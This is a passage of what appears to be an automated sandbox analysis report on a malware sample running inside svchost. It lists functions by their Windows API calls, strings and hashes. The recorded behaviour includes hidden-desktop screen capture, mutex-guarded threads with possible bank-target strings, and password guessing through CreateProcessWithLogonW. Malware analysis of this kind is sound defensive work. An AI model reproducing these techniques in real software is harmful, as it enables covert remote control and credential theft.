                                                                                                                                                                                                              • Part of subcall function 02C77FB0: CreateCompatibleDC.GDI32(00000000), ref: 02C78023
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 02C78044
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: SelectObject.GDI32(?,00000000), ref: 02C78053
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 02C7806E
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: SelectObject.GDI32(00000000,00000000), ref: 02C7808D
                                                                                                                                                                                                              • Part of subcall function 02C77FB0: ReleaseDC.USER32(00000000,00000000), ref: 02C7809C
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000001F4), ref: 02C7840C
                                                                                                                                                                                                            • GetTopWindow.USER32(00000000), ref: 02C7841B
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C78432
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02C78448
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02C7844B
                                                                                                                                                                                                            • WindowFromPoint.USER32(?,?,00000000), ref: 02C7845F
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,?,00000005,00000000), ref: 02C78481
                                                                                                                                                                                                            • GetIconInfo.USER32(?,?), ref: 02C7848D
                                                                                                                                                                                                            • DrawIcon.USER32(00000000,00000000,?,?), ref: 02C784AE
                                                                                                                                                                                                            • DestroyIcon.USER32(?,?,?,00000000), ref: 02C784B5
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000,?,?,00000000), ref: 02C784C2
                                                                                                                                                                                                            • SetEvent.KERNEL32(00000000,?,?,00000000), ref: 02C784CF
                                                                                                                                                                                                            • Sleep.KERNEL32(00000032), ref: 02C784DB
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Object$CompatibleCreateDeleteSelectWindow$Icon$BitmapReleaseSingleWait$DesktopDestroyDrawEventFromInfoMessageMutexPointSendSleepThread
                                                                                                                                                                                                            • String ID: P0#v
                                                                                                                                                                                                            • API String ID: 2294845507-3387790918
                                                                                                                                                                                                            • Opcode ID: 8eaec09d3a492f721f1fd1a2e24dbb4a57badda49ef832711eca34dd661be69c
                                                                                                                                                                                                            • Instruction ID: 0e43117837ab6268a9a67490fb1ba952dea540b34f6c08637e1ff143d0f09b8b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8eaec09d3a492f721f1fd1a2e24dbb4a57badda49ef832711eca34dd661be69c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2A313674A80341AFC616EBB4EC8DF1B7769EB88711F008F98F61587280DA74E921CB60
                                                                                                                                                                                                            Function 02C91AC8 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 56sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}), ref: 02C91ADC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C91AED
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C91B01
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C91B0F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C91960,00000000,00000000,00000000), ref: 02C91B24
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02C91B35
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C91B3A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C91B4E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C91B5C
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31d1a), ref: 02C91B67
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c31d1a,RSTYLE), ref: 02C91B81
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C91B8A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 82c31d1a$Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}$P0#v$RSTYLE
                                                                                                                                                                                                            • API String ID: 505831200-163837639
                                                                                                                                                                                                            • Opcode ID: 80d8b0e3d9d2c3c3ea5e89fe1e9f890111a42fa3a035df82bacbb4d223c8714e
                                                                                                                                                                                                            • Instruction ID: 87246e837453476ab8cb3a90fcf2ea0ea17a32e8c0ab618fc1457228210fe869
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 80d8b0e3d9d2c3c3ea5e89fe1e9f890111a42fa3a035df82bacbb4d223c8714e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0711E530AC47537BF7226B648C1FF1E37886F81B29F088644F919620C1EBF485008B67
                                                                                                                                                                                                            Function 02C90B08 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 56sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C90B1C
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C90B2D
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C90B41
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C90B4F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C909A0,00000000,00000000,00000000), ref: 02C90B64
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02C90B75
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C90B7A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C90B8E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C90B9C
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c31c07), ref: 02C90BA7
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,82c31c07,RAIFF), ref: 02C90BC1
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02C90BCA
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
                                                                                                                                                                                                            • String ID: 82c31c07$Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}$P0#v$RAIFF
                                                                                                                                                                                                            • API String ID: 505831200-3163959839
                                                                                                                                                                                                            • Opcode ID: a3da883863b471566ec0b6c46283cfe668284258ce6a3e6ebab2f37f918e3cc1
                                                                                                                                                                                                            • Instruction ID: 1bfc5cdfe3475c5b9873aec1f5fa2bb2d161855bd81734d9005c03239ff8d8f9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a3da883863b471566ec0b6c46283cfe668284258ce6a3e6ebab2f37f918e3cc1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7811E530AC5752BEFB225B648C1FF1E37C86F80B19F108654F955A20C1EBB0D5008B67
                                                                                                                                                                                                            Function 02C792B0 Relevance: 25.9, APIs: 17, Instructions: 354windowthreadtimeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetAncestor.USER32(00000000,00000002,00000080,?,00000000), ref: 02C792BE
                                                                                                                                                                                                              • Part of subcall function 02C7D200: GetWindowLongA.USER32(?,000000F0), ref: 02C7D21B
                                                                                                                                                                                                              • Part of subcall function 02C7D200: GetLastActivePopup.USER32(?), ref: 02C7D229
                                                                                                                                                                                                              • Part of subcall function 02C7D200: GetWindow.USER32(00000000,00000005), ref: 02C7D243
                                                                                                                                                                                                              • Part of subcall function 02C7D200: GetWindow.USER32(00000000), ref: 02C7D246
                                                                                                                                                                                                              • Part of subcall function 02C7D200: GetWindowInfo.USER32(00000000,?), ref: 02C7D25C
                                                                                                                                                                                                              • Part of subcall function 02C7D200: GetWindow.USER32(00000000,00000004), ref: 02C7D265
                                                                                                                                                                                                              • Part of subcall function 02C7D200: GetWindow.USER32(00000000,00000003), ref: 02C7D29E
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000010,00000000,00000000), ref: 02C792FF
                                                                                                                                                                                                            • GetAncestor.USER32(00000000,00000002,00000000), ref: 02C79385
                                                                                                                                                                                                            • SendMessageTimeoutA.USER32(00000000,00000021,00000000,00000001,00000002,00000064,?), ref: 02C793AC
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000020,00000000,00000001), ref: 02C793F1
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000000,00000000,00000001), ref: 02C79445
                                                                                                                                                                                                              • Part of subcall function 02C79160: GetTickCount.KERNEL32 ref: 02C791EA
                                                                                                                                                                                                              • Part of subcall function 02C79160: GetClassLongA.USER32(00000000,000000E6), ref: 02C7923D
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000112,?,?), ref: 02C794AE
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,0000007B,00000000,?), ref: 02C794D9
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,0000007B,00000000,00000000), ref: 02C79555
                                                                                                                                                                                                            • GetSystemMenu.USER32(00000000,00000000), ref: 02C79574
                                                                                                                                                                                                            • GetMenuItemInfoA.USER32(00000000,0000F060,00000000,0000004C), ref: 02C79598
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 02C79603
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 02C79616
                                                                                                                                                                                                            • PostMessageA.USER32(?,?,00000001,00000000), ref: 02C79639
                                                                                                                                                                                                            • PostMessageA.USER32(?,?,00000002,00000000), ref: 02C7965B
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 02C79693
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 02C796BD
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Message$Window$Post$ProcessThread$AncestorInfoLongMenuSend$ActiveClassCountItemLastPopupSystemTickTimeout
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 590198697-0
                                                                                                                                                                                                            • Opcode ID: 109e73a09647cd5770d935d94549e2aa3c30c96d773e79d3f322b559c98ccc02
                                                                                                                                                                                                            • Instruction ID: 28f0c27428ceba17d6f8045eb40a16bd936f8f5dabe40bbc738a6dc2b58ad52d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 109e73a09647cd5770d935d94549e2aa3c30c96d773e79d3f322b559c98ccc02
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 80B15832F402146AEB219A69DC89FBF7B68E7C2714F00463AFD05971C1C7798A51DBA1
                                                                                                                                                                                                            Function 00401D80 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 169threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,76D6DB30), ref: 00401DA6
                                                                                                                                                                                                            • NetQueryDisplayInformation.NETAPI32(00000000,00000001,00000000,000003E8,000000FF,?,?,?,00000000,76D6DB30), ref: 00401DC2
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00401E08
                                                                                                                                                                                                            • NetUserGetInfo.NETAPI32(00000000,00000000,00000001,?), ref: 00401E19
                                                                                                                                                                                                            • NetApiBufferFree.NETAPI32(?), ref: 00401E3A
                                                                                                                                                                                                            • NetApiBufferFree.NETAPI32(?), ref: 00401E45
                                                                                                                                                                                                              • Part of subcall function 004017F0: memset.MSVCRT ref: 0040181B
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,75C25430,00000000,?), ref: 00401833
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000008,-00000011), ref: 0040185D
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapAlloc.KERNEL32(00000000), ref: 00401860
                                                                                                                                                                                                              • Part of subcall function 004017F0: memset.MSVCRT ref: 00401873
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000), ref: 00401898
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 004018AC
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000008,-00000011), ref: 004018CA
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapAlloc.KERNEL32(00000000), ref: 004018CD
                                                                                                                                                                                                              • Part of subcall function 004017F0: memset.MSVCRT ref: 004018DD
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00401E65,000000FF,00000000,00000000), ref: 004018FF
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 00401913
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000008,00000015), ref: 00401933
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapAlloc.KERNEL32(00000000), ref: 0040193A
                                                                                                                                                                                                              • Part of subcall function 004017F0: memset.MSVCRT ref: 0040194A
                                                                                                                                                                                                              • Part of subcall function 004017F0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00401967
                                                                                                                                                                                                              • Part of subcall function 004017F0: CreateProcessWithLogonW.ADVAPI32(?,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0040199B
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,?), ref: 004019AD
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapValidate.KERNEL32(00000000), ref: 004019B6
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,?), ref: 004019C2
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapFree.KERNEL32(00000000), ref: 004019C5
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019D2
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapValidate.KERNEL32(00000000), ref: 004019D5
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00401EAA
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 004019DE
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapFree.KERNEL32(00000000), ref: 004019E1
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00401E65), ref: 004019F1
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapValidate.KERNEL32(00000000), ref: 004019F4
                                                                                                                                                                                                              • Part of subcall function 004017F0: GetProcessHeap.KERNEL32(00000000,00401E65), ref: 00401A01
                                                                                                                                                                                                              • Part of subcall function 004017F0: HeapFree.KERNEL32(00000000), ref: 00401A04
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00401EEA
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 00401F26
                                                                                                                                                                                                            • SwitchToThread.KERNEL32(?,?,00404D20,?,?,?), ref: 00401F6F
                                                                                                                                                                                                            • NetApiBufferFree.NETAPI32(?), ref: 00401F95
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$ByteCharFreeMultiWide$_snprintfmemset$AllocBufferValidate$CreateDisplayFileInfoInformationLogonModuleNameQuerySwitchThreadUserWith
                                                                                                                                                                                                            • String ID: %s1$%s12$%s123
                                                                                                                                                                                                            • API String ID: 1588441251-2882894844
                                                                                                                                                                                                            • Opcode ID: 63274706b62708f42648d06670bacef668267c51d1314ddcf6f9b5beb05922d2
                                                                                                                                                                                                            • Instruction ID: d6d119788ade0702c334ba716b850de2f597c51d849c979d1570e7f46e431759
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 63274706b62708f42648d06670bacef668267c51d1314ddcf6f9b5beb05922d2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5651B6B25043015BD331DB54C844EEB73A8AFD8754F000A2EFA846B2D1DB78DA48CBA6
                                                                                                                                                                                                            Function 02C780B0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 132memorythreadwindowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SetThreadDesktop.USER32(?,7622F590,762216B0,00000000), ref: 02C780BF
                                                                                                                                                                                                            • GetDC.USER32(00000000), ref: 02C780C7
                                                                                                                                                                                                            • GetDeviceCaps.GDI32(00000000,0000000A), ref: 02C780D8
                                                                                                                                                                                                            • GetDeviceCaps.GDI32(00000000,00000008), ref: 02C780E9
                                                                                                                                                                                                            • CreateCompatibleBitmap.GDI32(00000000,00000000,?), ref: 02C78100
                                                                                                                                                                                                            • GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 02C78142
                                                                                                                                                                                                            • GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,00000028,00000000), ref: 02C78152
                                                                                                                                                                                                            • DeleteObject.GDI32(00000000), ref: 02C78155
                                                                                                                                                                                                            • ReleaseDC.USER32(00000000,00000000), ref: 02C7815E
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C781B9
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,00000008,?), ref: 02C781D2
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,00000008,?), ref: 02C781EF
                                                                                                                                                                                                            • SetThreadDesktop.USER32(?), ref: 02C78224
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocBitsCapsDesktopDeviceThread$BitmapCompatibleCreateDeleteFreeObjectRelease
                                                                                                                                                                                                            • String ID: (
                                                                                                                                                                                                            • API String ID: 188880187-3887548279
                                                                                                                                                                                                            • Opcode ID: 65efba5e38bc7ffa8d34c9547869be9fddd69222542ae85b0bba9e9c45295b16
                                                                                                                                                                                                            • Instruction ID: e1d2fbe0d8736019194c9f376290799d48bd3895722b7c8204f9a690c898a7f7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 65efba5e38bc7ffa8d34c9547869be9fddd69222542ae85b0bba9e9c45295b16
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CA415E71E81344AFDB11CFA9D889BDABBF8EF49710F1446A9E509E7280D7705911CBA0
                                                                                                                                                                                                            Function 004010A0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 111memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32('+@,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,00000000,?,00401A54,00000000,00000000,?,00000000), ref: 004010C6
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(00000000,00401A54,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010E7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00401A67,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 004010FD
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,00401A54,00000000,00000000,?,00000000,00402B27), ref: 00401104
                                                                                                                                                                                                            • memset.MSVCRT ref: 00401114
                                                                                                                                                                                                            • ReadFile.KERNEL32(?,00000000,00401A54,00000000,00000000,?,?,?,?,00401A54), ref: 00401133
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401145
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401148
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401A54), ref: 00401155
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,?,?,00401A54), ref: 00401158
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,?,00401A54,00000000,00000000), ref: 00401173
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,00401A54,00000000,00000000), ref: 00401184
                                                                                                                                                                                                            • IsBadWritePtr.KERNEL32(?,00000004), ref: 00401194
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$FileProcess$Handle$AllocCloseCreateFreeInformationReadSizeValidateWritememset
                                                                                                                                                                                                            • String ID: '+@
                                                                                                                                                                                                            • API String ID: 190975061-3270456718
                                                                                                                                                                                                            • Opcode ID: 8acb88134f09bb4553fa1f20c980ac2f479e22f48b63d87f01b3e3b6e2272333
                                                                                                                                                                                                            • Instruction ID: 9704cbedb43cf1f0123ea2a6f6cc4f04c30b9336f8140f0f9319c9250b15b478
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8acb88134f09bb4553fa1f20c980ac2f479e22f48b63d87f01b3e3b6e2272333
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EF3176B2A01214ABD7109BA59D48F6B7B6CEB88B51F144236FF04F7290D7349D0186A8
                                                                                                                                                                                                            Function 02C8F0A0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 98memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(?,?,00000000,00000000,75AF7390), ref: 02C8F0DD
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02C8F0F4
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C8F0FB
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8F10B
                                                                                                                                                                                                            • ReadFile.KERNEL32 ref: 02C8F12C
                                                                                                                                                                                                            • StrStrA.SHLWAPI(00000000,BEGIN SIGNATURE), ref: 02C8F142
                                                                                                                                                                                                            • StrStrA.SHLWAPI(00000000,END SIGNATURE), ref: 02C8F14E
                                                                                                                                                                                                            • SetFilePointerEx.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,75AF7390), ref: 02C8F172
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8F185
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C8F188
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8F195
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C8F198
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$FileProcess$AllocFreePointerReadSizeValidatememset
                                                                                                                                                                                                            • String ID: BEGIN SIGNATURE$END SIGNATURE
                                                                                                                                                                                                            • API String ID: 2165369453-4158457813
                                                                                                                                                                                                            • Opcode ID: 5cc793cfcd844ed135731521aff2ba7705046535c27c244f156e8f9c38b85ce1
                                                                                                                                                                                                            • Instruction ID: 205416860f5337fade4d07def29ba387aed30ced77a7123e8de2b8e9bd581d6e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5cc793cfcd844ed135731521aff2ba7705046535c27c244f156e8f9c38b85ce1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B331AD71E41355ABE721AF25DC44F6BB7ACEF84B58F008A1DF90487180DB30DA148BB2
                                                                                                                                                                                                            Function 02C882E0 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 65libraryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(advapi32.dll,00000000,00000000,7622F550,7622DF10,02C8475B), ref: 02C882F1
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 02C88303
                                                                                                                                                                                                              • Part of subcall function 02C88FC0: VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,7622F550,00000000,7693BD50,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C88FF8
                                                                                                                                                                                                              • Part of subcall function 02C88FC0: memcpy.MSVCRT(?,?,00000000,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89020
